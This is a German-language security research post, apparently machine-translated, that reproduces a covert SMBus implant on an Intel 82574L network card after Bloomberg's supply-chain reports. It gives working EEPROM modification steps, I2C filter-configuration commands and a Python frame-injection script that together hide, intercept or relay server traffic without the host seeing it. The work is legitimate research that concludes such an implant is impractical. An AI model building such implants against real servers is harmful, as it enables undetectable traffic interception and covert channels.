
Die Geschichte von
Bloomberg, dass einige Implantate angeblich auf den Motherboards installiert waren [die
Chinesen verwendeten einen Mikrochip zur Steuerung amerikanischer Computer ], blieb nicht unbemerkt. Danach teilten viele Menschen Ideen über die Möglichkeit, solche Implantate herzustellen (ihre geschätzte Größe, Fähigkeiten oder Nachweismethode).
Einige Tage später veröffentlichte das
Bloomberg- Magazin einen Artikel mit zusätzlichen Beweisen. Folgendes hat unser Interesse geweckt:
Der legale Server hat Nachrichten auf die eine und das Implantat auf die andere Weise gesendet, aber es schien, dass der gesamte Datenverkehr von einem vertrauenswürdigen Server kam.
Es gibt Möglichkeiten, direkt vom Motherboard aus mit der Netzwerkkarte zu interagieren. Mehrere Personen haben angegeben, dass Sie mit BMC (Baseboard Management Controller - eine Komponente, die zusätzlich zum Hauptkanal den Zugriff auf den Server ermöglicht) spielen können, mit der das Implantat den BMC steuern und Zugriff auf die Netzwerkkarte erhalten kann. Aber wie funktioniert das in der Praxis? Mal sehen, ob wir das reproduzieren können.
Ausgangsposition
Schauen wir uns die möglichen Schnittstellen zwischen der
Netzwerkkarte und dem BMC an. Eines der Hauptprotokolle für die Arbeit an einem dedizierten Kanal ist die intelligente IPMI-Plattformverwaltungsschnittstelle.
IPMI
Laut Wikipedia ist IPMI „eine intelligente Plattformverwaltungsschnittstelle zur autonomen Überwachung und Verwaltung von Funktionen, die direkt in die Hardware und Firmware von Serverplattformen integriert sind. Die Hauptmerkmale von IPMI sind Überwachung, Wiederherstellung von Verwaltungsfunktionen, Protokollierung und Inventarisierung, die unabhängig von Prozessor, BIOS und Betriebssystem verfügbar sind. Plattformverwaltungsfunktionen sind möglicherweise auch dann verfügbar, wenn das System ausgeschaltet ist. “ Sehr ähnlich zu dem, was wir brauchen.
Das folgende Flussdiagramm zeigt einen möglichen Projektimplementierungspfad:

IPMI definiert tatsächlich zwei Seitenbandkanäle für die Netzwerkkarte: SMBus und NC-SI. NC-SI ist ein SMBus-Ersatz auf dem neuesten Stand der Technik, der verbesserte Datenübertragungsgeschwindigkeiten und andere neue Funktionen unterstützt. Das Problem ist, dass sie mehr Signale benötigt (ungefähr 10) und es viel schwieriger ist, in ihre Arbeit einzugreifen, wenn wir mit einem Implantat arbeiten. Lassen Sie uns zunächst auf SMBus eingehen.
SMBus
SMBus (System Management Bus) ist ein serielles Kommunikationsprotokoll für Stromversorgungsgeräte. Einseitiger einfacher Zweidrahtbus für unkomplizierte Kommunikation. Wird am häufigsten in Computern verwendet, um das Motherboard mit einer Stromquelle zu verbinden und Anweisungen ein- und auszuschalten. Basierend auf dem
I 2 C- Bus, der üblicherweise in Mikrocontrollern verwendet wird. Die Schnittstelle benötigt nur zwei Signale (Taktfrequenz und Daten), und das dritte Signal ist ein Interrupt. Perfekt für das Implantatspielprotokoll.
Erster Kontakt
Sie müssen schlau sein und mit BMC keinen Zugriff auf das Motherboard haben. Bei der Untersuchung der technischen Eigenschaften der Server-Motherboards stellten wir fest, dass einige von ihnen den
Intel 82574L- Chip verwenden. Der
Dokumentation zufolge bietet es die "SMBus Advanced Pass-Through-Schnittstelle" - genau das, was Sie brauchen. Und das Beste ist, dass es im PCI-E-Kartenformat erhältlich ist.
SMBus-Zugang
Wir sind in den Laden gegangen und haben jetzt
Intel EXPI9301CTBLK- Karten mit dem 82574L-Chip. Was jetzt?
Die Dokumentation kann SMB_DAT und SMB_ALRT_N verfolgen. Glücklicherweise stellte sich heraus, dass sie alle an den Kontaktflächen verfügbar waren. Alles scheint ganz einfach zu sein.
NIC-Platine. Oben links - EEPROM, oben rechts - Anschluss für SMBus [ALRT | CLK | DAT]. Bitte beachten Sie, dass R39 und R40 abgedichtet sind, was den Zugriff auf SMBus für den PCIe-Anschluss verhindert.Wir haben die
I 2 C-Sonde angeschlossen und den SMBus gescannt, aber nichts Nützliches gezählt. Die Dokumentation besagt, dass SMBus nur aktiviert ist, wenn ein bestimmtes Bitregister gesetzt ist. Dieser Wert wird aus dem EEPROM geladen. Es ist Zeit, tiefer zu graben.
Aktivieren Sie den Zugriff auf SMBus
Die Dokumentation hilft uns wieder. Der Zugriff auf SMBus wird durch den Wert des aus dem NIC-EEPROM geladenen Registers bestimmt. Glücklicherweise kann das EEPROM mit Flashrom gelesen werden. Durch Speichern des Inhalts des EEPROM können wir die Werte analysieren und ändern:
> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org
Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash... done.
Nach der NVM-Karte (Kapitel 6.1 der Dokumentation) zu urteilen, ist es klar, dass wir zwei Werte ändern müssen:
- Init Control Word 2 [MNGM] (Datenblatt Kapitel 6.1.1.6)
- Kompatibilität [ASF SMBus Connected] (Datenblatt Kapitel 6.1.2.1.1)
- Kompatibilität [SMBus Connected] (Datenblatt Kapitel 6.1.2.1.1)
Es muss nur berücksichtigt werden, dass im EEPROM Daten im Little-Endian-Format gespeichert sind.
Danach müssen wir uns noch mit dem Wert von Checksum befassen. In Kapitel 6.1.2.11 heißt es, dass die Summe aller Wörter im Bereich [0x00-0x40] 0xBABA sein sollte. Ein bisschen Python hilft uns dabei, die richtige Prüfsumme zu berechnen:
import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff
print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb
Und schließlich alle unsere Änderungen für EEPROM:
< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z.
< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....
Nachdem wir Änderungen vorgenommen und das EEPROM geflasht haben, haben wir eine I
2 C-Sonde angeschlossen und:
i2c1> scan
Device found at address 0x49
i2c1>
Die Adresse I
2 C ist in sieben Bits codiert, die Adresse, die wir benötigen, wird als 0x49 << 1 = 0x92 erhalten.
Jetzt haben wir ein Arbeitsdiagramm für unser Implantat. Wir können Befehle an die Netzwerkkarte senden:

Informationen erhalten
Wie Sie vielleicht vermutet haben, haben wir die Dokumentation weiter gelesen und speziell vorbereitete Befehle an die Netzwerkkarte gesendet, um zu überprüfen, ob alles wie erwartet funktioniert hat.
In der Dokumentation wird in Kapitel 8.4.4 alles beschrieben, was Sie über das Transaktionsformat wissen müssen. Der einzige Unterschied besteht darin, dass wir die PEC nicht berechnen müssen (Prüfsumme für SMBus, die für jedes Paket berechnet wird). Zum Beispiel können wir den CMD-Befehl in der folgenden Reihenfolge an die
SLAVE- Adresse senden:
[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]
[START] und [STOP] sind die durch I
2 C definierten START- und STOP-Bedingungen.
Der Befehl zum Lesen der MAC-Adresse (beschrieben in Kapitel 8.8.2.3) lautet beispielsweise 0xD4. Wir senden den Befehl im I
2 C-Modus an SMBus:
[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]
Bei der Übertragung an Hydrabus-Teams gilt Folgendes:
i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP
Und ja, wir bekommen unsere MAC-Adresse!
Ein Implantat herstellen
Nachdem Sie nun wissen, wie Sie mit der Netzwerkkarte kommunizieren können, wollen wir sehen, wie Sie diesen Kanal verwenden können, um den Netzwerkverkehr zu stehlen und Daten über das Netzwerk zu senden. Kapitel 8 der Dokumentation beschreibt alles, was Sie dazu benötigen.
Pakete senden
Beschrieben in den Kapiteln 8.6 und 8.8.1. Wir können einfach einen Ethernet-Frame mit Befehlen erstellen. Hier ist ein Beispielskript für
Hydrabus oder
Bus Pirate zum Senden eines Pakets:
import serial
import struct
from scapy.all import *
ser = serial.Serial('/dev/ttyACM0',115200)
def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))
# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)
# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write('\x08'+fulllen+'\x00\x00')
ser.write("\x92\xc4"+pktlen+pkt)
# If packet has been sent successfully
if ser.read(1) == '\x01':
print "Send OK"
else:
print "Error sending"
ser.write('\x00')
ser.write('\x00')
ser.write('\x0F\n')
quit()
# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("\x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()
# Switch to I2C mode
ser.write('\x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()
#Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP()
#Send the frame
send_frame(str(p))
# Return to main binary mode
ser.write('\x00')
#reset to console mode
ser.write('\x0F\n')
Nach dem Ausführen des Skripts können Sie sehen, dass das Paket mit dem Implantat von der Maschine kommt, und am interessantesten ist, dass der Server selbst dieses Paket überhaupt nicht sieht:
Tcpdump vom Computer des Angreifers links, Server rechtsPakete lesen
Filtern
Um herauszufinden, welche Frames an SMBus gesendet werden sollen, verwendet die Netzwerkkarte Steuerfilter. Sie ordnen den Datenverkehr aus dem Netzwerk zu und leiten ihn entweder an PCIe oder an SMBus oder sowohl dort als auch dort weiter. Dies gibt uns aus unserer Sicht große Flexibilität:
- Sie können den Datenverkehr verfolgen, indem Sie einen Filter festlegen, der ihn scannt und an PCIe und SMBus umleitet.
- Sie können den Datenverkehr verschwinden lassen, indem Sie ihn nur an SMBus weiterleiten.
- Sie können mit dem Implantat einen versteckten Kanal erstellen, der für den Server nicht sichtbar ist.
Am interessantesten ist, dass der Filter so konfiguriert werden kann, dass er verschiedene Rahmenelemente verfolgt:
- UDP / TCP-Port
- VLAN
- IPv4 - IPv6
- MAC-Adresse
- ...
(Eine vollständige Liste finden Sie in Kapitel 8.4.2.1.)
Es stehen sieben unabhängige MDEF-Filter [0: 6] zur Verfügung, von denen jeder so konfiguriert werden kann, dass der entsprechende Datenverkehr über SMBus über das MANC2H-Register an PCIe umgeleitet wird (weitere Informationen siehe Kapitel 8.4.3).
Implementierung
Es stellte sich als ziemlich schwierig heraus, alles richtig einzurichten. Wir haben viele verschiedene Kombinationen ausprobiert, damit der Filter funktioniert. Glücklicherweise gab uns der
Hinweis zur Intel
-Anwendung mehr Details darüber, wie Filter so ausgeführt werden, wie wir es benötigen.
Mit unserer I
2 C-Sonde können wir all dies mit vier Befehlen konfigurieren:
//
[ 0x92 0xca 0x01 0x40 ]
// MDEF[0] , UDP/664 UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// MANC2H
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]
Wie in Kapitel 8.8.1.3 beschrieben, müssen mehrere Bits gesetzt werden, um den Datenempfang zu ermöglichen und Frames an unser Implantat zurückzusenden. Wir haben uns für die SMBus-Warnung entschieden, da die Netzwerkkarte bei anderen Modellen asynchrone Anforderungen an SMBus senden kann (Einzelheiten siehe Kapitel 8.4.5).
Frames lesen
Da wir die SMBus-Warnmethode verwendet haben, mussten wir warten, bis das Signal SMB_ALRT_N ausgeschaltet wurde, bevor wir den Befehl TCO-Paket empfangen senden. Wenn wir zu lange warten, wird das Paket von der Netzwerkkarte abgelehnt.
Um das Diagramm nur zu veranschaulichen, senden wir regelmäßig Frames und Lesebefehle - nur um zu bestätigen, dass dieses Prinzip funktioniert. Das Schema sieht folgendermaßen aus:
- Ein Server mit einem Implantat verfügt über Filter, die den Datenverkehr mit UDP / 623 überwachen (Kapitel 3.6.1.2).
- Das Implantat wird mit Hydrabus simuliert.
- Ein anderer Server sendet mithilfe des Scapy-Skripts Pakete, die unter den Filter fallen:
from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)
Es stellt sich etwas Interessantes heraus:

Links liest SMBus den Frame, die Frame-Daten sind unten dargestellt. Auf der rechten Seite zeigt tcpdump, das auf einem Server mit einem Implantat ausgeführt wird, keine eingehenden Frames an.
Rahmenrelais
Durch Ändern des MANC2H-Registers ist es möglich, den an SMBus und PCIe gesendeten Datenverkehr korrekt auf dem Server anzuzeigen. Erstellen Sie beispielsweise einen Abfangfilter, der auf UDP / 161-Verkehr (SNMP) reagiert und ihn an SMBus und PCIe sendet:
//
[ 0x92 0xca 0x01 0x40 ]
// - 0 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// MDEF[0] , - 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// MANC2H MDEF[0] PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]
Durch Aktivieren von Filtern können wir eine SNMP-Anforderung an den Server mit dem Implantat senden und das Paket anzeigen, das das Implantat abgefangen hat. Gleichzeitig antwortet der Server auf die Anfrage - was bedeutet, dass das Paket korrekt an SMBus und PCIe umgeleitet wurde:
Oben ist eine abgefangene SNMP-Anfrage vom Implantat. Unten - Die SNMP-Anforderung hat den Server erreicht.Schlussfolgerungen
Wir haben eine mögliche Methode zur Einführung eines kleinen und kostengünstigen Mikrocontrollers als Implantat auf NIC-Ebene beschrieben. Ein solches Implantat benötigt mindestens vier Kontakte (Vcc, GND, CLK, DAT) und kann die Serverkarte steuern. Unter seinen Merkmalen:
- Abwarten auf eingehenden Netzwerkverkehr zum Server.
- Empfangen von Befehlen aus dem Netzwerk ohne Kenntnis des Servers.
- Datenübertragung über das Netzwerk ohne Kenntnis des Servers.
In unserem Beispiel wurde der Einfachheit halber Hydrabus als Schnittstelle für den I
2 C / SMBus verwendet, dies kann jedoch genauso einfach auf einem kleinen Mikrocontroller durchgeführt werden, z. B. ATtiny85 (es entspricht etwa der Größe eines EEPROM für NIC).
Im wirklichen Leben wäre der Zugang zu einem solchen Implantat jedoch nur für SMBus möglich. Abhängig vom Motherboard-Schema ist möglicherweise nur dieses Gerät verfügbar. Eine Interaktion mit dem Server-Betriebssystem ist dann nicht möglich. Wenn die vollständige Kontrolle über das Betriebssystem erforderlich ist, ändern Sie am besten den BMC-Code, da dieser bereits Zugriff auf alle interessanten Busse hat und keine sichtbaren Spuren auf dem Motherboard hinterlässt.
Ein weiterer Nachteil eines solchen Implantats besteht darin, dass es Daten mit Geschwindigkeiten in der Größenordnung von 100 Kb / s übertragen kann, was für eine vollständige Untersuchung des Verkehrs nicht ausreicht. Darüber hinaus kann das Implantat nur den vom Netzwerk kommenden Datenverkehr abfangen. Infolgedessen scheint diese Lösung im Vergleich zu den Anstrengungen, die für ihre Implementierung in der Zielausrüstung erforderlich sind, unwirksam zu sein.